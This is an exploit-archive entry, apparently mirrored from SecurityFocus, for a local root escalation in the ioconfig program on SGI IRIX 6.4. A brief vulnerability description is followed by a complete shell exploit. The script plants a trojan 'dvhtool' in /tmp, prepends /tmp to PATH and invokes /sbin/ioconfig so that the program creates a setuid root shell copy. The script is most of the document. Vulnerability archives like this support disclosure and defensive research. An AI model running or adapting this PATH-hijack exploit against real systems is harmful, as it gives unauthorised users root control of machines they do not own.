SGI IRIX 6.4 - 'ioconfig' Local Privilege Escalation

source: https://www.securityfocus.com/bid/213/info

A vulnerability exists in the ioconfig program, as shipping with IRIX 6.4 S2MP from Silicon Graphics, Inc. This program is only available on Irix 6.4 for the Origin/Onyx2. Other machines running IRIX are not vulnerable.

This vulnerability will allow a local user to obtain root priveledges. The ioconfig program will make calls to the system() call without setting the path to be used; this allows an attacker to alter their path to cause ioconfig to execute arbitrary programs. 

#!/bin/sh
#
# Irix 6.4 ioconfig xploit - Loneguard 04/12/97
#
# Simple xploit making use of stupid system calls to programs without using
# a path. This works on both /sbin/ioconfig and /sbin/disk_bandwidth.
#
cat > /tmp/dvhtool << 'EOF'
#!/bin/sh
/sbin/cp /bin/csh /tmp/xsh
/sbin/chmod 14755 /tmp/xsh
EOF
/sbin/chmod 700 /tmp/dvhtool
PATH=/tmp:$PATH
/sbin/ioconfig -f /hw